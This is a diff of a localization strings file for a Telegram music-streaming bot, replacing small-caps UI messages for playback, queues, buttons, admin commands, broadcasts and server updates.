-playlist_14 : "**ᴀʀᴇ ʏᴏᴜ sᴜʀᴇ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴅᴇʟᴇᴛᴇ ʏᴏᴜʀ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ ?**\n\nʏᴏᴜ'ʟʟ ʟᴏsᴛ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ ᴀɴᴅ ᴛʜɪs ᴄᴀɴ'ᴛ ʙᴇ ʀᴇᴄᴏᴠᴇʀᴇᴅ ʟᴀᴛᴇʀ."
-playlist_15 : "[ᴄʜᴇᴄᴋᴏᴜᴛ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ]({0})"
-playlist_16 : "ǫᴜᴇᴜᴇᴅ ᴘʟᴀʏʟɪsᴛ :"
-playlist_17 : "Queued Position -"
-playlist_18 : "[ᴄʜᴇᴄᴋᴏᴜᴛ ᴡʜᴏʟᴇ ǫᴜᴇᴜᴇᴅ ᴘʟᴀʏʟɪsᴛ]({0})\n\nʟᴀsᴛ ǫᴜᴇᴜᴇᴅ ᴘᴏsɪᴛɪᴏɴ : **{1}**"
-
-#Playmode
-playmode_1 : "sᴇʟᴇᴄᴛ ᴛʜᴇ ᴍᴏᴅᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ᴛʜᴇ ǫᴜᴇʀɪᴇs ɪɴsɪᴅᴇ ʏᴏᴜʀ ɢʀᴏᴜᴘ [{0}]."
-playmode_2 : "sᴇᴛᴛɪɴɢs ᴄʜᴀɴɢᴇᴅ ᴀɴᴅ sᴀᴠᴇᴅ sᴜᴄᴄᴇssꜰᴜʟʟʏ ʙʏ {0}"
-
-#Stream
-str_1 : "ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴍ3ᴜ8 ʟɪɴᴋs ᴏʀ ɪɴᴅᴇx ʟɪɴᴋs."
-str_2 : "✅ ᴠᴀʟɪᴅ sᴛʀᴇᴀᴍ ᴠᴇʀɪꜰɪᴇᴅ\n\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ ᴘʀᴏᴄᴇssɪɴɢ ʟɪɴᴋ..."
-str_3 : "ᴜɴᴀʙʟᴇ ᴛᴏ sᴛʀᴇᴀᴍ ʏᴏᴜᴛᴜʙᴇ ʟɪᴠᴇ sᴛʀᴇᴀᴍs. ɴᴏ ʟɪᴠᴇ ꜰᴏʀᴍᴀᴛ ꜰᴏᴜɴᴅ"
-
-#TopPlay
-tracks_1 : "**ᴘʀᴏᴄᴇssɪɴɢ {0} ᴛᴏᴘ 10 ᴘʟᴀʏʟɪsᴛ**\n\n💘**ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ:** {1}\n📢**ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ:** {2}\n\nᴄʜᴇᴄᴋ ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs ʙʏ /stats"
-tracks_2 : "**ᴇʀʀᴏʀ**\n\nᴛʜᴇʀᴇ's ɴᴏ **{0} ᴛᴏᴘ 10 ᴘʟᴀʏʟɪsᴛ** ᴏɴ ʙᴏᴛ's sᴇʀᴠᴇʀs. ᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɴʏ ᴏᴛʜᴇʀ ᴘʟᴀʏʟɪsᴛ"
-
-# TOOLS
-
-#Lyrics
-lyrics_1 : "**ᴜsᴀɢᴇ:**\n\n/lyrics [ ᴍᴜsɪᴄ ɴᴀᴍᴇ]"
-lyrics_2 : "sᴇᴀʀᴄʜɪɴɢ ʟʏʀɪᴄs..."
-lyrics_3 : "❌ ꜰᴀɪʟᴇᴅ ᴛᴏ ꜰᴇᴛᴄʜ ʟʏʀɪᴄs 😭.\n\n💡**ᴛʀɪᴇᴅ sᴇᴀʀᴄʜɪɴɢ ꜰᴏʀ:** {0}"
-lyrics_4 : "ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴀɴᴅ ɢᴇᴛ sᴇᴀʀᴄʜᴇᴅ ʟʏʀɪᴄs ᴛᴏ ᴀᴠᴏɪᴅ ʟᴏɴɢ sᴘᴀᴍ ᴛʏᴘᴇs ʟʏʀɪᴄs sᴇᴀʀᴄʜ."
-
-#Ping
-ping_1 : "» ᴩɪɴɢɪɴɢ ʙᴀʙʏ..."
-ping_2 : "➽─────────────❥\nBᴏᴛ ɪs ʀᴇᴀᴅʏ ᴛᴏ ᴘʟᴀʏ ᴍᴜsɪᴄ 🎶\nᴡɪᴛʜ ᴘɪɴɢ ᴏғ : {1}ms\n\n ╭⸻⸻⸻╮\n ◆ Uᴘᴛɪᴍᴇ ⊱ {2}\n ◆ Cᴘᴜ ⊱ {4}\n ◆ Rᴀᴍ ⊱ {5}\n ◆ Pʏ- Tɢᴄᴀʟʟs Pɪɴɢ ⊱ {6}\n ◆ Sᴛᴏʀᴀɢᴇ ᴜsᴇᴅ ⊱ {3}\n ╰⸻⸻⸻╯
-
-\n\n➽─────────────❥"
+cplay_6 : "» ʏᴏᴜ ɴᴇᴇᴅ ᴛᴏ ʙᴇ ᴛʜᴇ ᴏᴡɴᴇʀ ᴏғ ᴛʜᴇ ᴄʜᴀɴɴᴇʟ {0} ᴛᴏ ᴄᴏɴɴᴇᴄᴛ ɪᴛ ᴡɪᴛʜ ᴛʜɪs ɢʀᴏᴜᴘ.\nᴄʜᴀɴɴᴇʟ's ᴏᴡɴᴇʀ : @{1}\n\nᴀʟᴛᴇʀɴᴀᴛɪᴠᴇʟʏ ʏᴏᴜ ᴄᴀɴ ʟɪɴᴋ ʏᴏᴜʀ ɢʀᴏᴜᴘ ᴛᴏ ᴛʜᴀᴛ ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴛʜᴇɴ ᴛʀʏ ᴄᴏɴɴɴᴇᴄᴛɪɴɢ ᴡɪᴛʜ /channelplay linked
"
+cplay_7 : "» ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ ᴅɪsᴀʙʟᴇᴅ."
+
+#Playlist Buttons
+PL_B_1 : "๏ ᴘʟᴀʏ ᴘʟᴀʏʟɪsᴛ ๏"
+PL_B_2 : "๏ ᴀᴅᴅ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ ๏"
+PL_B_3 : "๏ ᴍᴏʀᴇ ๏"
+PL_B_4 : "๏ ᴘʟᴀʏ ᴍᴏᴅᴇ ๏"
+PL_B_5 : "๏ ᴅᴇʟ ᴀʟʟ ᴘʟᴀʏʟɪsᴛ ๏"
+PL_B_6 : "๏ ᴅᴇʟ ᴘʟᴀʏʟɪsᴛ ๏"
+PL_B_7 : "❗ʏᴇs ɪ ᴀᴍ sᴜʀᴇ."
+PL_B_8 : "๏ ᴘʟᴀʏ ᴛᴏᴘ 10 ๏"
+PL_B_9 : "๏ ᴘʟᴀʏ ɢʟᴏʙᴀʟ ᴛᴏᴘ 10 ๏"
+PL_B_10 : "๏ ᴘʟᴀʏ ɢʀᴏᴜᴘ ᴛᴏᴘ 10 ๏"
+PL_B_11 : "๏ ᴘʟᴀʏ ᴘᴇʀsᴏɴᴀʟ ᴛᴏᴘ 10 ๏"
+
+play_1 : "🖤"
+play_2 : "➻ ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ ᴍᴏᴅᴇ\n\nᴘʀᴏᴄᴇssɪɴɢ, ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ : {0}"
+play_3 : "» ғᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ǫᴜᴇʀʏ."
+play_4 : "ᴀᴅᴍɪɴs ᴏɴʟʏ ᴘʟᴀʏ\nᴏɴʟʏ ᴀᴅᴍɪɴs ᴏғ ᴛʜɪs ᴄʜᴀᴛ ᴀʀᴇ ᴀʟʟᴏᴡᴇᴅ ᴛᴏ ᴘʟᴀʏ\n\nᴄʜᴀɴɢᴇ ᴘʟᴀʏ ᴍᴏᴅᴇ ᴠɪᴀ /playmode"
+play_5 : "» ғᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ᴀᴜᴅɪᴏ ғɪʟᴇ.\n\nᴀᴜᴅɪᴏ ғɪʟᴇ sɪᴢᴇ ɪs ʟᴀʀɢᴇʀ ᴛʜᴀɴ ᴛʜᴇ ᴅᴇғɪɴᴇᴅ ʟɪᴍɪᴛ."
+play_6 : "» sᴛʀᴇᴀᴍ's ʟᴏɴɢᴇʀ ᴛʜᴀɴ {0} ᴀʀᴇɴ'ᴛ ᴀʟʟᴏᴡᴇᴅ ᴛᴏ ᴘʟᴀʏ ᴏɴ {1}"
+play_7 : "» ɴᴏᴛ ᴀ ᴠᴀʟɪᴅ ᴠɪᴅᴇᴏ ғɪʟᴇ ᴇxᴛᴇɴsɪᴏɴ.\n\nsᴜᴘᴘᴏʀᴛᴇᴅ ᴇxᴛᴇɴsɪᴏɴs : {0}"
+play_8 : "» ᴠɪᴅᴇᴏ ғɪʟᴇ sɪᴢᴇ sʜᴏᴜʟᴅ ʙᴇ ʟᴇss ᴛʜᴀɴ 1ɢɪʙ."
+play_9 : "ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ғᴇᴀᴛᴜʀᴇ\n\nsᴇʟᴇᴄᴛ ᴛʜᴇ ᴍᴏᴅᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ᴡʜᴏʟᴇ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ."
+play_10 : "ᴛɪᴛʟᴇ : {0}\nᴅᴜʀᴀᴛɪᴏɴ : {1} ᴍɪɴᴜᴛᴇs"
+play_11 : "{0} sᴘᴏᴛɪғʏ ᴘʟᴀʏᴇʀ\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {1}"
+play_12 : "{0} ᴀᴘᴘʟᴇ ᴘʟᴀʏᴇʀ\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {1}"
+play_13 : "» ʟɪᴠᴇ sᴛʀᴇᴀᴍ ᴅᴇᴛᴇᴄᴛᴇᴅ.\n\nᴀʀᴇ ʏᴏᴜ sᴜʀᴇ ᴛʜᴀᴛ ʏᴏᴜ ᴡᴀɴɴᴀ ᴘʟᴀʏ ᴛʜɪs ʟɪᴠᴇ sᴛʀᴇᴀᴍ ?"
+play_14 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ꜰᴇᴛᴄʜ ᴛʀᴀᴄᴋ ᴅᴇᴛᴀɪʟs.\n\nᴛʀʏ ᴘʟᴀʏɪɴɢ ᴀɴʏ ᴏᴛʜᴇʀ."
+play_15 : "» ғᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ǫᴜᴇʀʏ.\n\nɪ ᴄᴀɴ ᴏɴʟʏ ᴘʟᴀʏ sᴘᴏᴛɪғʏ ᴛʀᴀᴄᴋs, ᴀʟʙᴜᴍs, ᴀʀᴛɪsᴛs ᴀɴᴅ ᴘʟᴀʏʟɪsᴛs."
+play_16 : "ɴᴏ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ.\n\nᴛᴏ ᴜsᴇ ғᴏʀᴄᴇ ᴩʟᴀʏ, ᴛʜᴇʀᴇ ᴍᴜsᴛ ʙᴇ ᴀɴ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇᴄʜᴀᴛ."
+play_17 : "ᴘʟᴇᴀsᴇ ᴛᴜʀɴ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ, ɪ'ᴍ ᴜɴᴀʙʟᴇ ᴛᴏ sᴛʀᴇᴀᴍ ᴜʀʟs."
+play_18 : "ᴜsᴀɢᴇ : /play [sᴏɴɢ ɴᴀᴍᴇ/ʏᴏᴜᴛᴜʙᴇ ᴜʀʟ/ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴀᴜᴅɪᴏ/ᴠɪᴅᴇᴏ ғɪʟᴇ]"
+play_19 : "Queued Playlist :"
+play_20 : "Queued Position-"
+play_21 : "ᴀᴅᴅᴇᴅ {0} ᴛʀᴀᴄᴋs ᴛᴏ ǫᴜᴇᴜᴇ.\n\nᴄʜᴇᴄᴋ : ᴄʟɪᴄᴋ ʜᴇʀᴇ"
+play_22 : "sᴇʟᴇᴄᴛ ᴛʜᴇ ᴍᴏᴅᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ᴛʜᴇ ǫᴜᴇʀɪᴇs ɪɴsɪᴅᴇ ʏᴏᴜʀ ɢʀᴏᴜᴘ : {0}"
+
+str_1 : "ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴍ3ᴜ8 ᴏʀ ɪɴᴅᴇx ʟɪɴᴋs."
+str_2 : "➻ ᴠᴀʟɪᴅ sᴛʀᴇᴀᴍ ᴠᴇʀɪғɪᴇᴅ.\n\nᴘʀᴏᴄᴇssɪɴɢ..."
+str_3 : "ғᴀɪʟᴇᴅ ᴛᴏ sᴛʀᴇᴀᴍ ʏᴏᴜᴛᴜʙᴇ ʟɪᴠᴇ sᴛʀᴇᴀᴍ, ɴᴏ ʟɪᴠᴇ ꜰᴏʀᴍᴀᴛ ꜰᴏᴜɴᴅ."
+
+ping_1 : "{0} ɪs ᴘɪɴɢɪɴɢ..."
+ping_2 : "{1}\n\n🏓 ᴩᴏɴɢ : {0}ᴍs..\n\n➻ sʏsᴛᴇᴍ sᴛᴀᴛs :\n\n↬ ᴜᴩᴛɪᴍᴇ : {2}\n↬ ʀᴀᴍ : {3}\n↬ ᴄᴩᴜ : {4}\n↬ ᴅɪsᴋ : {5}\n↬ ᴩʏ-ᴛɢᴄᴀʟʟs : {6}ᴍs\n\n🥀ʙʏ »『†ʜɛ 𝐒†ɵɴɛ』 ♡︎"
+
+queue_1 : "» ғᴇᴛᴄʜɪɴɢ ǫᴜᴇᴜᴇ...\n\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..."
+queue_2 : "» ǫᴜᴇᴜᴇ ᴇᴍᴘᴛʏ."
+queue_3 : "» ᴄʟɪᴄᴋ ʜᴇʀᴇ ᴛᴏ ᴄʜᴇᴄᴋ ᴛʜᴇ ʟɪsᴛ ᴏғ ᴛʜᴇ ǫᴜᴇᴜᴇᴅ ᴛʀᴀᴄᴋs : ʜᴇʀᴇ"
+queue_4 : "➲ Aᴅᴅᴇᴅ Tᴏ Qᴜᴇᴜᴇ Aᴛ #{0}\n\n‣ Tɪᴛʟᴇ : {1}\n‣ Dᴜʀᴀᴛɪᴏɴ : {2} ᴍɪɴᴜᴛᴇs\n‣ Rᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {3}"
+queue_5 : "ᴛʜᴇʀᴇ's ᴏɴʟʏ ᴏɴᴇ ǫᴜᴇᴜᴇᴅ ᴛʀᴀᴄᴋ ɪɴ ᴘʟᴀʏʟɪsᴛ.\n\nᴀᴅᴅ ᴍᴏʀᴇ ᴛʀᴀᴄᴋs ᴛᴏ ᴄʜᴇᴄᴋ ʟɪsᴛ."
+queue_6 : "🕚 ᴅᴜʀᴀᴛɪᴏɴ : ᴜɴᴋɴᴏᴡɴ ᴅᴜʀᴀᴛɪᴏɴ sᴛʀᴇᴀᴍ\n\nᴄʟɪᴄᴋ ᴏɴ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴡʜᴏʟᴇ ǫᴜᴇᴜᴇᴅ ʟɪsᴛ."
+queue_7 : "\nᴄʟɪᴄᴋ ᴏɴ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴡʜᴏʟᴇ ǫᴜᴇᴜᴇᴅ ʟɪsᴛ."
+queue_8 : "{0} ᴘʟᴀʏᴇʀ\n\n🎄 sᴛʀᴇᴀᴍɪɴɢ : {1}\n\n🔗 sᴛʀᴇᴀᴍ ᴛʏᴘᴇ : {2}\n🥀 ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {3}\n{4}"
+
+stream_1 : "➲ Sᴛᴀʀᴛᴇᴅ Sᴛʀᴇᴀᴍɪɴɢ |\n\n‣ Tɪᴛʟᴇ : {1}\n‣ Dᴜʀᴀᴛɪᴏɴ : {2} ᴍɪɴᴜᴛᴇs\n‣ Rᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {3}"
+stream_2 : "➲ Sᴛᴀʀᴛᴇᴅ Sᴛʀᴇᴀᴍɪɴɢ |\n\n‣ Sᴛʀᴇᴀᴍ ᴛʏᴘᴇ : ʟɪᴠᴇ sᴛʀᴇᴀᴍ [ᴜʀʟ]\n‣ Rᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {0}"
+
+
+CLOSE_BUTTON : "🗑ᴄʟᴏsᴇ🗑"
+BACK_BUTTON : "ʙᴀᴄᴋ"
+NEXT_PAGE: ">"
+BACK_PAGE: "<"
+
+
+S_B_1 : "sᴜᴍᴍᴏɴ ᴍᴇ"
+S_B_2 : "sᴜᴘᴘᴏʀᴛ"
+S_B_3 : "sᴜᴍᴍᴏɴ ᴍᴇ "
+S_B_4 : "ᴄᴏᴍᴍᴀɴᴅs"
+S_B_5 : "ᴅᴇᴠ"
+S_B_6 : "ᴄʜᴀɴɴᴇʟ"
+S_B_7 : "ʀᴇᴘᴏ"
+S_B_8 : "ʏᴏᴜᴛᴜʙᴇ"
+S_B_9 : "sᴜᴘᴘᴏʀᴛ"
+
+H_B_1 : "ᴀᴅᴍɪɴ"
+H_B_2 : "ᴀᴜᴛʜ"
+H_B_3 : "ɢ-ᴄᴀsᴛ"
+H_B_4 : "ʙʟ-ᴄʜᴀᴛ"
+H_B_5 : "ʙʟ-ᴜsᴇʀ"
+H_B_6 : "ᴄ-ᴘʟᴀʏ"
+H_B_7 : "ɢ-ʙᴀɴ"
+H_B_8 : "ʟᴏᴏᴘ"
+H_B_9 : "ʟᴏɢ"
+H_B_10 : "ᴘɪɴɢ"
+H_B_11 : "ᴘʟᴀʏ"
+H_B_12 : "sʜᴜғғʟᴇ"
+H_B_13 : "sᴇᴇᴋ"
+H_B_14 : "sᴏɴɢ"
+H_B_15 : "sᴘᴇᴇᴅ"
+H_B_16 : "ɢᴘᴛ"
+H_B_17 : "sᴛɪᴄᴋᴇʀ"
+H_B_18 : "ᴛᴀɢ-ᴀʟʟ"
+H_B_19 : "ɪɴғᴏ"
+H_B_20 : "ɢʀᴏᴜᴘ"
+H_B_21 : "ᴇxᴛʀᴀ"
+H_B_22 : "ɪᴍᴀɢᴇ"
+H_B_23 : "ᴀᴄᴛɪᴏɴ"
+H_B_24 : "sᴇᴀʀᴄʜ"
+
+P_B_1 : "ᴀᴜᴅɪᴏ"
+P_B_2 : "ᴠɪᴅᴇᴏ"
+P_B_3 : "ʟɪᴠᴇ sᴛʀᴇᴀᴍ"
+P_B_4 : "ɴᴏʀᴍᴀʟ"
+
+ST_B_1 : "ᴀᴜᴛʜ ᴜsᴇʀs"
+ST_B_2 : "ᴘʟᴀʏ ᴍᴏᴅᴇ"
+ST_B_3 : "ʟᴀɴɢᴜᴀɢᴇ"
+ST_B_4 : "ᴠᴏᴛɪɴɢ ᴍᴏᴅᴇ"
+ST_B_5 : "ᴏɴ"
+ST_B_6 : "ᴏғғ"
+ST_B_7 : "ᴀᴜᴛʜ ᴜsᴇʀs ➜"
+ST_B_8 : "ᴀᴅᴍɪɴs"
+ST_B_9 : "ᴇᴠᴇʀʏᴏɴᴇ"
+ST_B_10 : "sᴇᴀʀᴄʜ ᴍᴏᴅᴇ ➜"
+ST_B_11 : "ᴅɪʀᴇᴄᴛ"
+ST_B_12 : "ɪɴʟɪɴᴇ"
+ST_B_13 : "ᴀᴅᴍɪɴ ᴄᴍᴅs ➜"
+ST_B_14 : "ᴘʟᴀʏ ᴛʏᴘᴇ ➜"
+
+SA_B_1 : "ᴏᴠᴇʀᴀʟʟ sᴛᴀᴛs"
+SA_B_2 : "ɢᴇɴᴇʀᴀʟ"
+SA_B_3 : "ᴏᴠᴇʀᴀʟʟ"
+
+QU_B_1 : "ǫᴜᴇᴜᴇ"
+QU_B_2 : " {0} —————————— {1}"
+
+sudo_1 : "» {0} ɪs ᴀʟʀᴇᴀᴅʏ ɪɴ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ."
+sudo_2 : "» ᴀᴅᴅᴇᴅ {0} ᴛᴏ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ."
+sudo_3 : "» {0} ɪs ɴᴏᴛ ɪɴ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ."
+sudo_4 : "» ʀᴇᴍᴏᴠᴇᴅ {0} ғʀᴏᴍ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ."
+sudo_5 : "🥀 ᴏᴡɴᴇʀ :\n"
+sudo_6 : "\n✨ sᴜᴅᴏ ᴜsᴇʀs :\n"
+sudo_7 : "» ɴᴏ sᴜᴅᴏ ᴜsᴇʀs ғᴏᴜɴᴅ."
+sudo_8 : "ғᴀɪʟᴇᴅ."
+
+block_1 : "» {0} ɪs ᴀʟʀᴇᴀᴅʏ ʙʟᴏᴄᴋᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ."
+block_2 : "» ᴀᴅᴅᴇᴅ {0} ᴛᴏ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ."
+block_3 : "» {0} ɪs ɴᴏᴛ ɪɴ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ."
+block_4 : "» ʀᴇᴍᴏᴠᴇᴅ {0} ғʀᴏᴍ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ."
+block_5 : "» ɴᴏ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ғᴏᴜɴᴅ."
+block_6 : "» ɢᴇᴛᴛɪɴɢ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ..."
+block_7 : "😫 ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs :\n\n"
+
+black_1 : "ᴇxᴀᴍᴘʟᴇ :\n\n/blacklistchat [ᴄʜᴀᴛ ɪᴅ]"
+black_2 : "» ᴛʜɪs ᴄʜᴀᴛ ɪs ᴀʟʀᴇᴀᴅʏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ."
+black_3 : "» sᴜᴄᴄᴇssғᴜʟʟʏ ᴀᴅᴅᴇᴅ ᴛᴏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs."
+black_4 : "ᴇxᴀᴍᴘʟᴇ :\n\n/whitelistchat [ᴄʜᴀᴛ ɪᴅ]"
+black_5 : "» ᴛʜɪs ᴄʜᴀᴛ ɪs ɴᴏᴛ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ."
+black_6 : "» sᴜᴄᴄᴇssғᴜʟʟʏ ʀᴇᴍᴏᴠᴇᴅ ғʀᴏᴍ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs."
+black_7 : "» ʟɪsᴛ ᴏғ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs :\n\n"
+black_8 : "» ɴᴏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs ᴏɴ {0}."
+black_9 : "» sᴏᴍᴇᴛʜɪɴɢ ᴡᴇɴᴛ ᴡʀᴏɴɢ."
+
+maint_1 : "ᴇxᴀᴍᴘʟᴇ :\n/maintenance [ᴇɴᴀʙʟᴇ | ᴅɪsᴀʙʟᴇ]"
+maint_2 : "» {0} ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ᴇɴᴀʙʟᴇᴅ."
+maint_3 : "» {0} ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ᴅɪsᴀʙʟᴇᴅ."
+maint_4 : "» ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ɪs ᴀʟʀᴇᴀᴅʏ ᴇɴᴀʙʟᴇᴅ."
+maint_5 : "» ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ɪs ᴀʟʀᴇᴀᴅʏ ᴅɪsᴀʙʟᴇᴅ."
+
+log_1 : "ᴇxᴀᴍᴘʟᴇ :\n/logger [ᴇɴᴀʙʟᴇ | ᴅɪsᴀʙʟᴇ]"
+log_2 : "ᴇɴᴀʙʟᴇᴅ ʟᴏɢɢɪɴɢ."
+log_3 : "ᴅɪsᴀʙʟᴇᴅ ʟᴏɢɢɪɴɢ."
+
+broad_1 : "» sᴛᴀʀᴛᴇᴅ ʙʀᴏᴀᴅᴄᴀsᴛɪɴɢ..."
+broad_2 : "ᴇxᴀᴍᴘʟᴇ :\n\n/broadcast [ᴍᴇssᴀɢᴇ ᴏʀ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ]"
+broad_3 : "» ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇ ᴛᴏ {0} ᴄʜᴀᴛs ᴡɪᴛʜ {1} ᴘɪɴs ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ."
+broad_4 : "» ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇ ᴛᴏ {0} ᴜsᴇʀs."
+broad_5 : "» sᴛᴀʀᴛɪɴɢ ᴀssɪsᴛᴀɴᴛ ʙʀᴏᴀᴅᴄᴀsᴛ..."
+broad_6 : "➻ ᴀssɪsᴛᴀɴᴛ ʙʀᴏᴀᴅᴄᴀsᴛ :\n\n"
+broad_7 : "↬ ᴀssɪsᴛᴀɴᴛ {0} ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ɪɴ {1} ᴄʜᴀᴛs."
+broad_8 : "» ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ʙʀᴏᴀᴅᴄᴀsᴛ."
+
+server_1 : "» ғᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ʟᴏɢs."
+server_2 : "ᴘʟᴇᴀsᴇ ᴍᴀᴋᴇ sᴜʀᴇ ᴛʜᴀᴛ ʏᴏᴜʀ ʜᴇʀᴏᴋᴜ ᴀᴘɪ ᴋᴇʏ ᴀɴᴅ ᴀᴘᴘ ɴᴀᴍᴇ ᴀʀᴇ ᴄᴏɴғɪɢᴜʀᴇᴅ ᴄᴏʀʀᴇᴄᴛʟʏ."
+server_3 : "ᴄʜᴇᴄᴋɪɴɢ ꜰᴏʀ ᴀᴠᴀɪʟᴀʙʟᴇ ᴜᴘᴅᴀᴛᴇs..."
+server_4 : "ɢɪᴛ ᴄᴏᴍᴍᴀɴᴅ ᴇʀʀᴏʀ."
+server_5 : "ɪɴᴠᴀʟɪᴅ ɢɪᴛ ʀᴇᴘsɪᴛᴏʀʏ."
+server_6 : "» ʙᴏᴛ ɪs ᴜᴘ-ᴛᴏ-ᴅᴀᴛᴇ."
+server_7 : "» ʙᴏᴛ ᴜᴩᴅᴀᴛᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ ! ɴᴏᴡ ᴡᴀɪᴛ ғᴏʀ ғᴇᴡ ᴍɪɴᴜᴛᴇs ᴜɴᴛɪʟ ᴛʜᴇ ʙᴏᴛ ʀᴇsᴛᴀʀᴛs ᴀɴᴅ ᴩᴜsʜ ᴄʜᴀɴɢᴇs !"
+server_8 : "{0} ɪs ʀᴇsᴛᴀʀᴛɪɴɢ...\n\nʏᴏᴜ ᴄᴀɴ sᴛᴀʀᴛ ᴩʟᴀʏɪɴɢ ᴀɢᴀɪɴ ᴀғᴛᴇʀ 15-20 sᴇᴄᴏɴᴅs."
+server_9 : "sᴏᴍᴇᴛʜɪɴɢ ᴡᴇɴᴛ ᴡʀᴏɴɢ, ᴩʟᴇᴀsᴇ ᴄʜᴇᴄᴋ ʟᴏɢs."
+server_10 : "ᴀɴ ᴇxᴄᴇᴩᴛɪᴏɴ ᴏᴄᴄᴜʀᴇᴅ ᴀᴛ #ᴜᴩᴅᴀᴛᴇʀ ᴅᴜᴇ ᴛᴏ : {0}
"
+server_11 : "» ʀᴜɴɴɪɴɢ ᴀ sᴘᴇᴇᴅᴛᴇsᴛ..."
+server_12 : "⇆ ʀᴜɴɴɪɴɢ ᴅᴏᴡɴʟᴏᴀᴅ sᴩᴇᴇᴅᴛᴇsᴛ..."
+server_13 : "⇆ ʀᴜɴɴɪɴɢ ᴜᴩʟᴏᴀᴅ sᴩᴇᴇᴅᴛᴇsᴛ..."
+server_14 : "↻ sʜᴀʀɪɴɢ sᴩᴇᴇᴅᴛᴇsᴛ ʀᴇsᴜʟᴛs..."
+server_15 : "✯ sᴩᴇᴇᴅᴛᴇsᴛ ʀᴇsᴜʟᴛs ✯\n\nᴄʟɪᴇɴᴛ :\n» ɪsᴩ : {0}\n» ᴄᴏᴜɴᴛʀʏ : {1}\n\nsᴇʀᴠᴇʀ :\n» ɴᴀᴍᴇ : {2}\n» ᴄᴏᴜɴᴛʀʏ : {3}, {4}\n» sᴩᴏɴsᴏʀ : {5}\n» ʟᴀᴛᴇɴᴄʏ : {6}\n» ᴩɪɴɢ : {7}"
+
